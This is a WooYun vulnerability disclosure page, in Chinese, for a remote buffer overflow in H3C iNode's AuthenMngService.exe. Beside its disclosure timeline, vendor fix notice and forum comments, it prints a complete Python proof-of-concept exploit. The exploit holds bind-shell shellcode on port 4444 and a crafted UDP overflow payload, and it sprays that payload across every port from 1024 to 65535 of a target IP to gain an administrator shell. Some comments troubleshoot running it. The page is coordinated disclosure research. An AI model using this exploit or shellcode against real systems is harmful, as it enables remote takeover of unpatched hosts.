当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021657

漏洞标题:iNode远程缓冲区溢出以管理员权限执行任意代码0Day漏洞

相关厂商:杭州华三通信技术有限公司

漏洞作者: cssembly

提交时间:2013-04-12 10:26

修复时间:2013-07-11 10:26

公开时间:2013-07-11 10:26

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-12: 细节已通知厂商并且等待厂商处理中
2013-04-16: 厂商已经确认,细节仅向厂商公开
2013-04-19: 细节向第三方安全合作伙伴开放
2013-06-10: 细节向核心白帽子及相关领域专家公开
2013-06-20: 细节向普通白帽子公开
2013-06-30: 细节向实习白帽子公开
2013-07-11: 细节向公众公开

简要描述:

H3C iNode是杭州华三通信技术有限公司设计开发的一款用于用户认证上网的管理软件,该软件存在缓冲区溢出漏洞,攻击者可以远程发送攻击数据包,触发漏洞溢出,执行攻击shell。

详细说明:

该漏洞存在于iNode软件安装后的AuthenMngService.exe文件中,它以管理员权限运行,并开启了一个端口,该服务模块存在缓冲区溢出漏洞,攻击者可以远程发送UDP攻击数据包,触发漏洞溢出,执行攻击shell。该漏洞涉及的软件版本:
iNode PC 5.2 (E0402)
iNode PC 5.1 (E0304)
iNode PC 5.0 (E0105)
其他低版本网上无法直接下载,未测试验证。
漏洞位置在IDA反汇编结果的sub_459F10函数中,漏洞在0x45A235处的memcpy函数,位置如下:

.PNG


拷贝的字节数有外部控制,因此传入恶意构造的数据,能够导致远程缓冲区溢出攻击

漏洞证明:

漏洞触发代码如下
poc.py如下:
import socket
import time
Exploit_addr = raw_input( "input attack ip addr : " )
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#绑定4444端口shellcode,溢出成功后通过可telnet登陆目标主机
shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"\
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"\
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"\
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"\
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"\
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"\
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"\
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"\
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"\
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"\
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"\
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"\
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"\
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"\
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"\
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07"\
"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54"\
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"\
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf"\
"\xe0\xff\xd5\x89\xc7\x31\xdb\x53\x68\x02"\
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"\
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7"\
"\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74"\
"\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"\
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00"\
"\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59"\
"\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"\
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56"\
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"\
"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"\
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5"\
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"\
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"\
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"\
"\xd5"
exploit_data='\x00\x01'+'A'*14+'\xDA\xF4\x54\xA3\x57\xEA\xA2\x58\xFF\xA0\x61\xD7\xFB\xAF\x3C\x9C' + '\x01\x01\x01\x21\x08' + '\x22' * 7 + '\x01' + '\x90' * 335 + shellcode + '\xE9\x13\xFE\xFF\xFF' + 'A' * 7 + '\xEB\xF2\x90\x90\x71\x15\xFA\x7F' + '\x71\x15\xFA\x7F' + '\x90' * 15 + '\xEB\xE3'
for port in range( 1024 , 65536):
address = ( Exploit_addr , port )
s.sendto( exploit_data , address )
print 'port : ' , port
time.sleep(0.001)
s.close()
print 'Exploit End'
raw_input()
漏洞证明:
安装软件后,AuthenMngService.exe以管理员权限运行。开启攻击程序输入地址进行攻击

1.png


2.png


攻击程序运行结束后,可以看到程序并未退出,开启telnet准备连接目标

3.png


可以看到已经远程登录到目标系统,而被攻击程序并未退出。

4.png


输入calc.exe命令,启动计算器,可以看到calc.exe为管理员权限。

5.png


修复方案:

版权声明:转载请注明来源 cssembly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-04-16 23:17

厂商回复:

最新状态:

2013-04-23:4月23日,经过CNVD协调,H3C(华三公司)已经发布了针对漏洞的解决方案,发布了新的inode版本。参考链接:http://kms.h3c.com/kms/kms/search/view.html?id=23553


漏洞评价:

评论

  1. 2013-04-12 10:29 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    强烈建议发个证书 @老张

  2. 2013-04-12 10:32 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    @cssembly 这么吊!一直搞溢出!大神!求带!

  3. 2013-04-12 10:34 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 方总,你答应我的,给证书啊!这个给电子版的就行了。直接提交另一个到cert了,应该可以拿到纸质版的证书了。

  4. 2013-04-12 10:35 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:76 | coder)

    漏洞的质量大为改观了,这样才会有更多的人来关注!

  5. 2013-04-12 10:38 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 乌云还可以在这个领域发个擅长领域认证吧......

  6. 2013-04-12 10:43 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 什么意思?

  7. 2013-04-12 10:43 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    溢出哥

  8. 2013-04-12 10:46 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 溢出哥

  9. 2013-04-12 10:46 | erevus ( 普通白帽子 | Rank:177 漏洞数:30 | Hacked by @ringzero 我錯了)

    大神求带

  10. 2013-04-12 10:48 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 方总多给点wb吧,穷啊

  11. 2013-04-12 10:51 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    @cssembly 求带!WB感谢!

  12. 2013-04-12 11:01 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @cssembly 方总,通过乌云转到cert的漏洞,最终的证书里,提交人的名字是乌云的注册名,能不能改成真名?急需这个

  13. 2013-04-12 11:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 可以啊

  14. 2013-04-12 11:05 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    现在貌似只有电子版的

  15. 2013-04-12 11:05 | 点点 ( 普通白帽子 | Rank:214 漏洞数:38 | 准备申请سمَـَّوُوُحخ ̷̴̐...)

    哇 要出 连载了

  16. 2013-04-12 11:06 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    @Rookie 以前cert说给快递纸质证书 结果等现在都没到....

  17. 2013-04-12 11:07 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @点点 没有,都是inode的漏洞,一个已经直接提交到cert了,昨天方总说帮我搞证书,我很感谢他,就提交另一个到乌云来了

  18. 2013-04-12 14:14 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @cssembly 期待洞主能写一些基础的入门教学 :)

  19. 2013-04-12 23:34 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @cssembly 期待洞主能写一些基础的入门教学,呜呜

  20. 2013-04-12 23:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @xsser 那给偶认证下xss领域吧。。。

  21. 2013-04-17 10:28 | 黑云 ( 路人 | Rank:12 漏洞数:3 | 米有)

    等细节,大神.

  22. 2013-04-17 10:44 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 确认的这么慢,而且才给18分,太坑人了。。。。。有木有!!!!

  23. 2013-04-17 16:15 | 黑云 ( 路人 | Rank:12 漏洞数:3 | 米有)

    wooyun首页上怎么找不到这个漏洞了?求解释.@乌云

  24. 2013-04-17 16:24 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 最高20分啊- -

  25. 2013-04-17 16:52 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 应该给20的,这个漏洞攻击完之后,目标进程都不会退出的,而且还是管理员权限。。。。。对单个主机渗透,不比MS06-040和MS08-067差多少

  26. 2013-04-17 16:56 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 没事,给你个雷,哈哈

  27. 2013-04-17 19:00 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 谢谢啊!帮我关注一下证书吧,别打水漂了,还在上学,毕业还得指望着这几张纸呢,哎。。。。。。。

  28. 2013-04-17 19:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly @cncert国家互联网应急中心 你快看看

  29. 2013-04-23 10:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @杭州华三通信技术有限公司 靠谱点的应该在公告里给个信息来源,这是最基本最基础的尊重

  30. 2013-04-23 10:40 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @xsser 严重同意,不然以后谁会提交相关的漏洞呢?

  31. 2013-04-23 10:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @cssembly 发国外的FD上去

  32. 2013-05-11 20:16 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    提醒:为保证通用型安全漏洞的信息保密性,该漏洞无法使用乌云币提前查看,请踏实的杀洞升级吧

  33. 2013-05-11 20:46 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    太屌了啊!~

  34. 2013-05-11 22:43 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @Drizzle.Risk 大神,求升级为核心白帽子的秘方!!!!!!

  35. 2013-05-11 22:44 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @VIP 这个好坑爹,断我财路。。。。。赚点乌云币容易嘛?

  36. 2013-05-12 11:28 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    @cssembly 这个应该问@xsser 感觉应该是平均rank达到某个数,加上一定的rank基数..还有小闪电啥的

  37. 2013-06-09 14:53 | Pasu、 ( 路人 | Rank:0 漏洞数:1 | 刚入门的新手,需要多在乌云学习学习。)

    为什么shellcode发送不成功?1024到65535端口一个一个出完就直接没了。

  38. 2013-06-09 15:05 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @Pasu、 调整一下python代码的格式,同时保证python版本是2.6或者2.7,我机器上是这个版本的,没有问题,用wireshark抓包看看数据包是否被发送

  39. 2013-06-09 15:59 | Pasu、 ( 路人 | Rank:0 漏洞数:1 | 刚入门的新手,需要多在乌云学习学习。)

    @cssembly 数据包没有发送。我的python版本是2.7。代码该缩进的地方都缩进了。不知道是什么原因。一直就是找不到开放的端口。但是我本机运行后查看这个进程确实开放了2个端口。但是就是找不到这个端口。

  40. 2013-06-09 16:37 | Pasu、 ( 路人 | Rank:0 漏洞数:1 | 刚入门的新手,需要多在乌云学习学习。)

    @cssembly 本机这个进程开放的2个端口都在1024到65535之间,但是从1024到65535这么多端口里面根本没有一个shellcode发送出去的。是哪没搞对还是怎么回事?求指教。。。指定了端口也是一样发送不出去。

  41. 2013-06-10 09:41 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @Pasu、 你用127.0.0.1试试,我觉得可能和你的机器有关,正常情况下数据包是肯定能发出去的

  42. 2013-06-10 18:57 | Pasu、 ( 路人 | Rank:0 漏洞数:1 | 刚入门的新手,需要多在乌云学习学习。)

    @cssembly 我用我本地IP和127.0.0.1都不行。内网里面别的机器的IP也试过了。也同样不行啊。求解决。我QQ 4184425,求指导。。

  43. 2013-07-12 02:39 | Fu2k ( 路人 | Rank:12 漏洞数:5 | Hacker is an art, a kind of spirit, do n...)

    @cssembly 溢出哥 求带。

  44. 2015-02-05 14:23 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    好屌~